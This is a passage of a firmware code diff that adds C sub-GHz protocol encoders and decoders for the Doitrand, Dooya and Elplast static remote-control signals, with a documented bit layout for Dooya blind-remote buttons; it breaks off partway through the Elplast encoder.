SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
|
||||
*/
|
||||
void subghz_protocol_encoder_doitrand_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_doitrand_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderDoitrand.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderDoitrand* pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderDoitrand.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
*/
|
||||
void subghz_protocol_decoder_doitrand_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderDoitrand.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
*/
|
||||
void subghz_protocol_decoder_doitrand_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderDoitrand.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderDoitrand.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDoitrand instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,444 @@
|
||||
#include "dooya.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#define TAG "SubGhzProtocolDooya"
|
||||
|
||||
#define DOYA_SINGLE_CHANNEL 0xFF
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_dooya_const = {
|
||||
.te_short = 366,
|
||||
.te_long = 733,
|
||||
.te_delta = 120,
|
||||
.min_count_bit_for_found = 40,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderDooya {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderDooya {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
DooyaDecoderStepReset = 0,
|
||||
DooyaDecoderStepFoundStartBit,
|
||||
DooyaDecoderStepSaveDuration,
|
||||
DooyaDecoderStepCheckDuration,
|
||||
} DooyaDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_dooya_decoder = {
|
||||
.alloc = subghz_protocol_decoder_dooya_alloc,
|
||||
.free = subghz_protocol_decoder_dooya_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_dooya_feed,
|
||||
.reset = subghz_protocol_decoder_dooya_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_dooya_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_dooya_serialize,
|
||||
.deserialize = subghz_protocol_decoder_dooya_deserialize,
|
||||
.get_string = subghz_protocol_decoder_dooya_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_dooya_encoder = {
|
||||
.alloc = subghz_protocol_encoder_dooya_alloc,
|
||||
.free = subghz_protocol_encoder_dooya_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_dooya_deserialize,
|
||||
.stop = subghz_protocol_encoder_dooya_stop,
|
||||
.yield = subghz_protocol_encoder_dooya_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_dooya = {
|
||||
.name = SUBGHZ_PROTOCOL_DOOYA_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_dooya_decoder,
|
||||
.encoder = &subghz_protocol_dooya_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderDooya* instance = malloc(sizeof(SubGhzProtocolEncoderDooya));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_dooya;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 128;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_dooya_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderDooya* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderDooya instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_dooya_get_upload(SubGhzProtocolEncoderDooya* instance) {
|
||||
furi_assert(instance);
|
||||
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
|
||||
//Send header
|
||||
if(bit_read(instance->generic.data, 0)) {
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_dooya_const.te_long * 12 +
|
||||
subghz_protocol_dooya_const.te_long);
|
||||
} else {
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false,
|
||||
(uint32_t)subghz_protocol_dooya_const.te_long * 12 +
|
||||
subghz_protocol_dooya_const.te_short);
|
||||
}
|
||||
|
||||
//Send start bit
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short * 13);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long * 2);
|
||||
|
||||
//Send key data
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_dooya_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_dooya_const.te_long);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderDooya* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_dooya_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_dooya_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_dooya_stop(void* context) {
|
||||
SubGhzProtocolEncoderDooya* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_dooya_yield(void* context) {
|
||||
SubGhzProtocolEncoderDooya* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderDooya* instance = malloc(sizeof(SubGhzProtocolDecoderDooya));
|
||||
instance->base.protocol = &subghz_protocol_dooya;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dooya_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDooya* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dooya_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDooya* instance = context;
|
||||
instance->decoder.parser_step = DooyaDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDooya* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case DooyaDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 12) <
|
||||
subghz_protocol_dooya_const.te_delta * 20)) {
|
||||
instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
|
||||
}
|
||||
break;
|
||||
|
||||
case DooyaDecoderStepFoundStartBit:
|
||||
if(!level) {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long * 2) <
|
||||
subghz_protocol_dooya_const.te_delta * 3) {
|
||||
instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = DooyaDecoderStepReset;
|
||||
}
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short * 13) <
|
||||
subghz_protocol_dooya_const.te_delta * 5) {
|
||||
break;
|
||||
} else {
|
||||
instance->decoder.parser_step = DooyaDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case DooyaDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = DooyaDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = DooyaDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case DooyaDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
if(duration >= (subghz_protocol_dooya_const.te_long * 4)) {
|
||||
//add last bit
|
||||
if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
|
||||
subghz_protocol_dooya_const.te_delta) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
} else if(
|
||||
DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
|
||||
subghz_protocol_dooya_const.te_delta * 2) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
} else {
|
||||
instance->decoder.parser_step = DooyaDecoderStepReset;
|
||||
break;
|
||||
}
|
||||
instance->decoder.parser_step = DooyaDecoderStepFoundStartBit;
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_dooya_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
break;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_short) <
|
||||
subghz_protocol_dooya_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_long) <
|
||||
subghz_protocol_dooya_const.te_delta * 2)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_dooya_const.te_long) <
|
||||
subghz_protocol_dooya_const.te_delta * 2) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_dooya_const.te_short) <
|
||||
subghz_protocol_dooya_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = DooyaDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = DooyaDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = DooyaDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_dooya_check_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
/*
|
||||
* serial s/m ch key
|
||||
* long press down X * E1DC030533, 40b 111000011101110000000011 0000 0101 0011 0011
|
||||
*
|
||||
* short press down 3 * E1DC030533, 40b 111000011101110000000011 0000 0101 0011 0011
|
||||
* 3 * E1DC03053C, 40b 111000011101110000000011 0000 0101 0011 1100
|
||||
*
|
||||
* press stop X * E1DC030555, 40b 111000011101110000000011 0000 0101 0101 0101
|
||||
*
|
||||
* long press up X * E1DC030511, 40b 111000011101110000000011 0000 0101 0001 0001
|
||||
*
|
||||
* short press up 3 * E1DC030511, 40b 111000011101110000000011 0000 0101 0001 0001
|
||||
* 3 * E1DC03051E, 40b 111000011101110000000011 0000 0101 0001 1110
|
||||
*
|
||||
* serial: 3 byte serial number
|
||||
* s/m: single (b0000) / multi (b0001) channel console
|
||||
* ch: channel if single (always b0101) or multi
|
||||
* key: 0b00010001 - long press up
|
||||
* 0b00011110 - short press up
|
||||
* 0b00110011 - long press down
|
||||
* 0b00111100 - short press down
|
||||
* 0b01010101 - press stop
|
||||
* 0b01111001 - press up + down
|
||||
* 0b10000000 - press up + stop
|
||||
* 0b10000001 - press down + stop
|
||||
* 0b11001100 - press P2
|
||||
*
|
||||
*/
|
||||
|
||||
instance->serial = (instance->data >> 16);
|
||||
if((instance->data >> 12) & 0x0F) {
|
||||
instance->cnt = (instance->data >> 8) & 0x0F;
|
||||
} else {
|
||||
instance->cnt = DOYA_SINGLE_CHANNEL;
|
||||
}
|
||||
instance->btn = instance->data & 0xFF;
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDooya* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDooya* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDooya* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_dooya_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get button name.
|
||||
* @param btn Button number, 8 bit
|
||||
*/
|
||||
static const char* subghz_protocol_dooya_get_name_button(uint8_t btn) {
|
||||
const char* btn_name;
|
||||
switch(btn) {
|
||||
case 0b00010001:
|
||||
btn_name = "Up_Long";
|
||||
break;
|
||||
case 0b00011110:
|
||||
btn_name = "Up_Short";
|
||||
break;
|
||||
case 0b00110011:
|
||||
btn_name = "Down_Long";
|
||||
break;
|
||||
case 0b00111100:
|
||||
btn_name = "Down_Short";
|
||||
break;
|
||||
case 0b01010101:
|
||||
btn_name = "Stop";
|
||||
break;
|
||||
case 0b01111001:
|
||||
btn_name = "Up+Down";
|
||||
break;
|
||||
case 0b10000000:
|
||||
btn_name = "Up+Stop";
|
||||
break;
|
||||
case 0b10000001:
|
||||
btn_name = "Down+Stop";
|
||||
break;
|
||||
case 0b11001100:
|
||||
btn_name = "P2";
|
||||
break;
|
||||
default:
|
||||
btn_name = "Unknown";
|
||||
break;
|
||||
}
|
||||
return btn_name;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDooya* instance = context;
|
||||
|
||||
subghz_protocol_dooya_check_remote_controller(&instance->generic);
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = false;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 8;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:0x%010llX\r\n"
|
||||
"Sn:0x%08lX\r\n"
|
||||
"Btn:%X - %s\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
instance->generic.data,
|
||||
instance->generic.serial,
|
||||
instance->generic.btn,
|
||||
subghz_protocol_dooya_get_name_button(instance->generic.btn));
|
||||
if(instance->generic.cnt == DOYA_SINGLE_CHANNEL) {
|
||||
furi_string_cat_printf(output, "Ch:Single\r\n");
|
||||
} else {
|
||||
furi_string_cat_printf(output, "Ch:%lu\r\n", instance->generic.cnt);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_DOOYA_NAME "Dooya"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderDooya SubGhzProtocolDecoderDooya;
|
||||
typedef struct SubGhzProtocolEncoderDooya SubGhzProtocolEncoderDooya;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_dooya_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_dooya_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_dooya;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderDooya.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderDooya* pointer to a SubGhzProtocolEncoderDooya instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_dooya_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderDooya.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
|
||||
*/
|
||||
void subghz_protocol_encoder_dooya_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
|
||||
*/
|
||||
void subghz_protocol_encoder_dooya_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDooya instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_dooya_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderDooya.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderDooya* pointer to a SubGhzProtocolDecoderDooya instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_dooya_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderDooya.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
|
||||
*/
|
||||
void subghz_protocol_decoder_dooya_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderDooya.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
|
||||
*/
|
||||
void subghz_protocol_decoder_dooya_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_dooya_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_dooya_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderDooya.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_dooya_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderDooya.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_dooya_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDooya instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_dooya_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,322 @@
|
||||
#include "elplast.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#define TAG "SubGhzProtocolElplast"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_elplast_const = {
|
||||
.te_short = 230,
|
||||
.te_long = 1550,
|
||||
.te_delta = 160,
|
||||
.min_count_bit_for_found = 18,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderElplast {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderElplast {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
ElplastDecoderStepReset = 0,
|
||||
ElplastDecoderStepSaveDuration,
|
||||
ElplastDecoderStepCheckDuration,
|
||||
} ElplastDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_elplast_decoder = {
|
||||
.alloc = subghz_protocol_decoder_elplast_alloc,
|
||||
.free = subghz_protocol_decoder_elplast_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_elplast_feed,
|
||||
.reset = subghz_protocol_decoder_elplast_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_elplast_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_elplast_serialize,
|
||||
.deserialize = subghz_protocol_decoder_elplast_deserialize,
|
||||
.get_string = subghz_protocol_decoder_elplast_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_elplast_encoder = {
|
||||
.alloc = subghz_protocol_encoder_elplast_alloc,
|
||||
.free = subghz_protocol_encoder_elplast_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_elplast_deserialize,
|
||||
.stop = subghz_protocol_encoder_elplast_stop,
|
||||
.yield = subghz_protocol_encoder_elplast_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_elplast = {
|
||||
.name = SUBGHZ_PROTOCOL_ELPLAST_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_elplast_decoder,
|
||||
.encoder = &subghz_protocol_elplast_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderElplast* instance = malloc(sizeof(SubGhzProtocolEncoderElplast));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_elplast;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 64;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_elplast_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderElplast* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderElplast instance
|
||||
*/
|
||||
static void subghz_protocol_encoder_elplast_get_upload(SubGhzProtocolEncoderElplast* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
|
||||
// Send key and GAP
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
// Send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_long);
|
||||
if(i == 1) {
|
||||
//Send gap if bit was last
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_short);
|
||||
}
|
||||
} else {
|
||||
// Send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_short);
|
||||
